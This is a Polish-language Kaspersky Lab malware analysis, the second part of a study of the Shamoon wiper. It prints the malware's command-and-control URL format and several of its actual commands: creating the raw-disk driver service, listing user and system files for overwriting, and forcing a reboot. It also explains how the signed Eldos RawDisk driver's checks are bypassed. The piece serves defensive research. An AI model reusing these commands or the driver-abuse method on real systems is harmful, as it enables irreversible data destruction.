Stan zagrożeń w internecie znajduje się obecnie na poziomie standardowym. Nie występują duże epidemie a eksperci z Kaspersky Lab nie zanotowali żadnych poważnych incydentów związanych z bezpieczeństwem. Poziom zagrożenia: 1

Shamoon The Wiper (część II)

Dmitrij Tarakanow
Kaspersky Lab Expert
Dodany 20 września 2012, 10:57 CEST
Tagi:

W mediach pojawiły się liczne doniesienia o tym, że Shamoon - szkodnik czyszczący dane, o którym pisaliśmy wcześniej - ma związek z atakami na Saudi Aramco. Data zaszyta na sztywno w ciele destruktora pokrywa się z datą ataków na firmę Saudi Aramco deklarowanych przez grupę hakerów, jednak odpowiedzialności za nie nadal nie można definitywnie przypisać temu szkodnikowi.

Około dwóch tygodni po incydencie inna firma z sektora energetycznego na Bliskim Wschodzie (RasGas) padła ofiarą kolejnego ataku szkodliwego oprogramowania i w mediach naturalnie pojawiły się spekulacje, czy za nimi również stoi Shamoon.

Pozostawiając spekulacje innym, skupimy się na przedstawieniu danych technicznych. Tekst ten stanowi kontynuację naszej analizy Shamoona.

NETINIT.EXE

Główny moduł Shamoona posiada zasób PKCS7:113 przechowujący plik wykonywalny, który jest zapisywany na dysku jako %WINDIR%\System32\NETINIT.EXE i program ten wydaje się być modułem do komunikacji z serwerem kontroli. Program czeka na parametry, z którymi zostanie uruchomiony. Autor nie wykazał się zbyt wielką kreatywnością i zakodował obsługę tylko dwóch wartości argumentów: “0” lub “1”.

W przypadku “0”, program bierze drugi argument i traktuje go jako dane do przekazania do serwera. Z tą wartością argumentu szkodliwy program łączy się z CNC tylko jeden raz i przestaje wykonywać się. Nie zlokalizowaliśmy żadnego miejsca w kodzie Shamoona, gdzie netinit.exe byłby uruchamiany z argumentem “0”.

Zidentyfikowaliśmy jednak miejsce, gdzie netinit.exe jest uruchamiany wierszem polecenia “netinit.exe 1”. Następnie program wchodzi w pętlę, do czasu gdy kolejny moduł destrukcyjny stworzy plik %WINDIR%\ inf\netfb318.pnf sygnalizując, że nadszedł czas wyczyścić dane i „zabić” system operacyjny. W czasie gdy netinit.exe czeka na ten plik, regularnie łączy się z serwerem kontroli w celu zameldowania się i uzyskania poleceń.

Komunikacja

Adres serwera kontroli jest zakodowany na sztywno. W rzeczywistości są dwa adresy. Może to być ciąg “home” lub adres IP. Najpierw, program próbuje połączyć się z “home”, jednak na mojej stronie połączenie to nie powiodło się. Następnie, przechodzi do adresu IP “10.1.252.19”. W celu komunikacji wykorzystywany jest protokół HTTP z użyciem funkcji standardowej biblioteki Wininet: InternetOpen, InternetOpenUrl, InternetReadFile… i naturalnie InternetCloseHandle. Adres URL wykorzystywany do połączenia wygląda tak:

http://<cnc>/ajax_modal/modal/data.asp?mydata=<_iteracja>&uid=<lokalny adres IP>&state=<losowa liczba>

na przykład

http://10.1.252.19/ajax_modal/modal/data.asp?mydata=_3&uid=192.168.150.130&state=1568062

Moduł komunikacji Shamoona czeka na dwa polecenia wydane przez serwer kontroli. Są to: wykonaj losowy program; lub ustaw czas „game over”. Przeznaczony do uruchomienia program przekazywany z CNC jest zakodowany przy użyciu BASE64. Program jest odkodowywany, wrzucany jako %WINDIR%\Temp\ filer.exe i uruchamiany. W idealnym świecie działałoby to perfekcyjnie.

W rzeczywistości jednak ta część modułu komunikacji Shamoona nie działa wcale. Spowodowane jest to kolejnym błędem autora (poza błędnym porównywaniem daty). Autor zamierzał stworzyć pełną ścieżkę do pliku “filer.exe” przy użyciu funkcji “sprintf” tam gdzie należało użyć łańcucha formatującego:

"%s%s%d.%s” z następującymi parametrami: ciąg folderu Windowsa, ciąg "\Temp\filer" , losowa liczba oraz ciąg "exe".

Jednak zamiast wskazanego poprawnego łańcucha autor szkodliwego oprogramowania zastosował “%S%S%d.%s” z “s” pisanym wielką literą. Z tego powodu funkcja “sprintf” nie działa i nie zostaje stworzony ciąg pełnej ścieżki. Brak pełnej ścieżki oznacza, że nie zostaje wrzucony żaden plik. Nie ma pliku, nie ma wykonania. Tak więc, szkodliwe oprogramowanie Shamoon nie posiada funkcjonalności wykonywania innych programów.

Obsługa drugiego polecenia została zakodowana bez błędów i jeżeli specjalny kod kontroli zostanie przekazany z serwera, netinit.exe stworzy plik %WINDIR%\inf\ netft429.pnf, w którym zapisze datę i godzinę, gdy Shamoon ma zainicjować procedurę destrukcyjną, zamiast zakodowanego na sztywno momentu.

Przejdźmy do kolejnego modułu:

PKCS12:112

Kolejny zasób w głównym module Shamoona to PKCS12:112. Zawiera on zakodowany plik wykonywalny zapisywany na dysku przy użyciu nazwy pobieranej z zakodowanej na sztywno listy w folderze %WINDIR%\System32. Moduł ten kontroluje destrukcyjną funkcjonalność Shamoona i wykonuje się, kiedy nadejdzie wyznaczony czas.

Program ten również czeka na argumenty, z którymi zostanie uruchomiony, jednak argumenty te nie mają dużego wpływu na wykonanie programu: uruchomiony bez argumentów posiada całą funkcjonalność, dlatego nie poświęciliśmy mu zbyt wielkiej uwagi.

Moduł destrukcyjny zawiera zasób READONE :101. Jest to zakodowany sterownik, który jest zapisywany na dysku jako %WINDIR%\System32\Drivers\DRDISK.SYS i uruchamiany w początkowej fazie wykonania destrukcyjnego modułu z pomocą wierszy poleceń:

sc create drdisk type= kernel start= demand binpath= System32\Drivers\drdisk.sys 2>&1 >nul sc start drdisk 2>&1 >nul

Sterownik jest podpisanym komponentem RawDisk, który stanowi produkt firmy Eldos. W skrócie, oprogramowanie to pozwala aplikacjom w trybie użytkownika działać z systemem pików w przypadkach gdy system operacyjny ogranicza aplikację. Możesz zintegrować swój projekt z RawDisk w taki sposób, aby twoje oprogramowanie instalowało sterownik zapewniający dostęp do systemu plików z trybu jądra za pośrednictwem stworzonego narzędzia “ElRawDisk”.

Naturalnie, instalacja twojego oprogramowania będzie wymagała przywilejów administratora w celu zainstalowania sterownika, później jednak twoja aplikacja będzie mogła bez przeszkód działać z systemem plików z dowolnymi przywilejami, z jakimi została uruchomiona.

Z punktu widzenia bezpieczeństwa, funkcjonalność ta jest kontrowersyjna. Jeżeli aplikacja musi uzyskać dostęp do niebezpiecznych operacji, dostęp ten powinien być przyznany przez użytkownika poprzez uruchomienie aplikacji np. z konta administratora. W niektórych przypadkach dotyczących rozwiązywania problemów lub administracyjnych, przydatne jest posiadanie dostępu do systemu plików poprzez tryb jądra nawet dla aplikacji uruchamianych z konta administratora. Wszystko wskazuje na to, że oprogramowanie to [ElRawDisk] służy właśnie do takich celów, lepiej jednak, aby użytkownik miał pewność, co robi.

Moduł destrukcyjny niszczy pliki selektywnie. Aby sporządzić listę plików, program uruchamia następujące wiersze poleceń:

dir "C:\Documents and Settings\" /s /b /a:-D 2>nul | findstr -i download 2>nul >f1.inf
dir "C:\Documents and Settings\" /s /b /a:-D 2>nul | findstr -i document 2>nul >>f1.inf
dir C:\Users\ /s /b /a:-D 2>nul | findstr -i download 2>nul >>f1.inf
dir C:\Users\ /s /b /a:-D 2>nul | findstr -i document 2>nul >>f1.inf
dir C:\Users\ /s /b /a:-D 2>nul | findstr -i picture 2>nul >>f1.inf
dir C:\Users\ /s /b /a:-D 2>nul | findstr -i video 2>nul >>f1.inf
dir C:\Users\ /s /b /a:-D 2>nul | findstr -i music 2>nul >>f1.inf
dir "C:\Documents and Settings\" /s /b /a:-D 2>nul | findstr -i desktop 2>nul >f2.inf
dir C:\Users\ /s /b /a:-D 2>nul | findstr -i desktop 2>nul >>f2.inf
dir C:\Windows\System32\Drivers /s /b /a:-D 2>nul >>f2.inf
dir C:\Windows\System32\Config /s /b /a:-D 2>nul | findstr -v -i systemprofile 2>nul >>f2.inf
dir f1.inf /s /b 2>nul >>f1.inf
dir f2.inf /s /b 2>nul >>f1.inf

W efekcie, są tworzone dwa pliki “f1.inf” i “f2.inf” w folderze %WINDIR%\System32 zawierającym nazwy plików z pełnymi ścieżkami do wypełnienia bezużytecznymi danymi. Bezużyteczne dane stanowią fragment (pierwsze 1024/0x400 bajtów) obrazka JPEG ukazującego płonącą flagę amerykańską:

Głównym źródłem tego obrazka jest Wikipedia. Hostuje ona ten obrazek pod nazwą US_flag_burning.jpg.

Wszystko wskazuje na to, że trop ten znalazł się tam celowo i autorzy szkodnika chcieli, aby zdjęcie zostało znalezione.

Procedura niszczenia jest raczej nadmiarowa – zawiera wielokrotne powtórzenia wypełniając pliki podobnymi fragmentami jeden za drugim, zwiększając rozmiar plików. Kulminacją jest nadpisanie dysku twardego wspomnianym obrazkiem JPEG. To dlatego sekcja MBR dysku twardego zostaje zniszczona, a zainfekowanego komputera nie da się uruchomić.

Program próbuje również czytać wartości SystemBootDevice lub FirmwareBootDevice ze ścieżki rejestru HKLM\SYSTEM\CurrentControlSet\Control. W przypadku odczytania, wyszukiwane są wpisy “rdisk” oraz “partition”. Domyślnie moduł destrukcyjny próbuje otworzyć następujące partycje:

\\?\ElRawDisk\Device\Harddisk[1-9]\Partition[0-9]

Jeżeli jednak w rejestrze zostaną znalezione wspomniane wartości, program próbuje otworzyć obiekty według tych wartości dysków i partycji.

Wszystko wskazuje na to, że autor (autorzy) Shamoona napotkał te same problemy co twórcy Wipera. We współczesnym świecie wypełnienie całego dysku nawet stałymi danymi jest czasochłonne. Aby czyszczenie zostało przeprowadzone skutecznie ale trochę szybciej, nie trzeba wyczyszczać wszystkich danych, można przepisać części w sposób dyspersyjny na całym dysku. Autorzy Wipera poradzili sobie z tym zadaniem dość sprytnie, natomiast w przypadku Shamoona mamy do czynienia z dość prymitywną metodą.

Ostatecznie, moduł destrukcyjny Shamoona otwiera dostęp do urządzenia przy użyciu polecenia \\?\ElRawDisk\Device\Harddisk0\Partition0 i rozpoczyna zapisywanie fragmentów obrazka JPEG jeden po drugim, przesuwając wskaźnik pliku – wyliczony na podstawie pojemności dysku – aż do końca powierzchni dysku (na przykład, na mojej maszynie wirtualnej z dyskiem twardym o pojemności 3 GB, wartość wskaźnika wyniosła 0x1000000 bajtów, co daje 16 MB).

Trudno przewidzieć, które dane zostaną utracone bezpowrotnie, a które pliki pozostaną nietknięte po takim czyszczeniu – zależy to od tego, jak duże pliki były przechowywane na zainfekowanym komputerze i jak były rozłożone na dysku twardym. Pod koniec ostatniej operacji szkodliwy program uruchamia wiersz poleceń “shutdown -r -f -t 2” w celu wymuszenia powtórnego uruchomienia zainfekowanego komputera, jeżeli sam nie dokonał restartu wcześniej po zniszczeniu danych w krytycznych dla systemu operacyjnego obszarach na dysku.

Sterownik Eldos

Mylące jest to, że twórcy Shamoona użyli legalne podpisanych sterowników oprogramowania RawDisk firmy Eldos. Na początku myśleliśmy, że ich celem było uzyskanie możliwości powtórnego zapisywania MBR-a, np. w Windowsie 7, okazało się jednak, że Windows 7 daje dostęp do tego obszaru na dysku nawet aplikacjom w trybie użytkownika uruchomionych w imieniu administratora. Sęk w tym, że w celu poprawnego działania Shamoon tak czy owak musi zostać uruchomiony z przywilejami administratora (przynajmniej w celu zainstalowania opisanego sterownika), dlatego wciąż nie wiadomo, w jakim celu autor Shamoona wykorzystał legalny sterownik.

Eksperci ds. bezpieczeństwa zwrócili już uwagę na fakt, że hakerzy mogą wykorzystać funkcje zaimplementowane w legalnych aplikacjach w trybie jądra z trybu użytkownika, jeżeli w sterownikach nie ma wystarczającego poziomu uwierzytelnienia. Przyjrzyjmy się, w jaki sposób autor Shamoona zdołał wykorzystać funkcjonalność sterownika firmy Eldos.

Można pobrać testowy pakiet RawDisk firmy Eldos, który składa się z plików nagłówkowych, plików lib/dll oraz sterowników x86 i x64 skompilowanych w trybach release/debug. Można zintegrować ten RawDisk z własnym projektem, który mógłby wtedy wykorzystać dostęp w trybie jądra do systemu plików za pośrednictwem sterownika RawDisk. Mimo to sterownik posiada mechanizm uwierzytelniający.

Jeżeli przyjrzymy się funkcji API “Open” RawDisk:

HANDLE Open(IN LPCWSTR DeviceName, IN DWORD DesiredAccess, IN LPCWSTR LicenseKey)

zobaczymy parametr “LicenseKey”. Taki klucz pojawił się w Shamoonie. Kiedy moduł destrukcyjny próbuje otworzyć deskryptor pliku w sterowniku ElRawDisk, dodaje do nazwy urządzenia ciąg przypominający klucz, na przykład:

\\?\ElRawDisk\Device\Harddisk0\Partition0#8F71FF7E2831A05D0B88FDAACFAC818E936FCAAA453404180419662BED76E9D70384F056F03ADF3C917CB8C3EE12832F7A7EC3E234BC7FBD0476CFC9F58AC1A1C248DA06E531D133A071

Taki klucz można łatwo uzyskać poprzez złożenie zamówienia na stronie Eldos podczas procedury instalowania RawDisk:

Należy wypełnić formularz w celu uzyskania klucza ewaluacyjnego i otrzymać kod w e-mailu podanym podczas rejestracji. Klucz ten można wykorzystywać przez ograniczony czas. Sterownik weryfikuje, czy data zakończenia okresu testowego już minęła czy nie. To dlatego za każdym razem widzimy procedurę zmiany daty przed otwarciem urządzenia ElRawDisk w szkodniku Shamoon: data jest ustawiana na dowolny (losowy) dzień od 1 do 20 sierpnia 2012 r.

Zauważyliśmy również, że sterownik Eldos wykorzystywany przez Shamoona sprawdza, czy następujące wartości są przekazywane w parametrze nazwy urządzenia, które mogą być zlokalizowane na samym początku ciągu nazwy urządzenia:

\#{ 9A6DB7D2-FECF-41ff-9A92-6EDA696613DF}#
\#{ 8A6DB7D2-FECF-41ff-9A92-6EDA696613DE}#

Są to kody kontroli, przy użyciu których sterownik określa, jak obsługiwać żądanie. Jednak Shamoon nie używa tych kodów wywołujących otwartą funkcję RawDisk.

Ponadto, sterownik sprawdza, czy nazwa pliku programu, który działa z systemem plików za pośrednictwem sterownika, odpowiada “RawDiskSample.exe”, wtedy sterownik „uznaje”, że wywołanie zostało dokonane z zaufanej aplikacji. Niweluje to wszystkie inne próby weryfikacji mające na celu zablokowanie łatwego wykorzystania funkcjonalności sterownika przez osoby bez zezwolenia. Z pewnością lepiej usunąć taki warunek ze sterownika.

Wnioski

Są jeszcze inne wskazówki sugerujące, że osoby, które stworzyły Shamoona, nie są programistami najwyższych lotów. Charakter ich błędów zdradza, że mamy do czynienia z amatorami, którym nie można jednak odmówić pewnych umiejętności, ponieważ udało im się stworzyć samodzielnie rozprzestrzeniający się destrukcyjny szkodliwy program, który działa. Wykorzystanie obrazu pokazującego fragment płonącej flagi amerykańskiej prawdopodobnie wskazuje na to, że celem autorów Shamoona, jest tworzenie i wykorzystywanie umotywowanego politycznie szkodliwego oprogramowania. Co więcej, chcieli, aby ich protest, który został osadzony w szkodliwym oprogramowaniu, nie pozostał niezauważony.

Niestety, widzimy, że ostrzeżenia przed szkodliwym oprogramowaniem wykorzystującym legalne aplikacje w trybie jądra to nie paranoja, ale rzeczywistość. Twórcy sterowników powinni pamiętać, że cyberprzestępcy i inne osoby, które tworzą szkodliwe oprogramowanie, szukają dyskretnych sposobów uzyskania dostępu do Ring0 systemu.

Legalne, a w szczególności podpisane, sterowniki, które mogą zostać wykorzystane do szkodliwych celów, są dla nich na wagę złota. Skuteczne uniemożliwienie uzyskania dostępu do sterowników przez niezaufane aplikacje nie jest łatwym zadaniem, jednak wielu osiągnęło ten cel – zaimplementowali już zaawansowane metody uwierzytelniania kodu, weryfikacji odwołań itp.

Obecnie nie wystarczy już umieścić w kodzie widocznych prostych warunków, które można łatwo obejść – to po prostu nie działa. Z pewnością nie jest przyjemne, gdy twój program - wyposażony w słabe mechanizmy kontroli - zostaje wykorzystany w szkodliwej kampanii. Lepiej zrobić wszystko, co się da, aby z góry zapobiec takim przypadkom.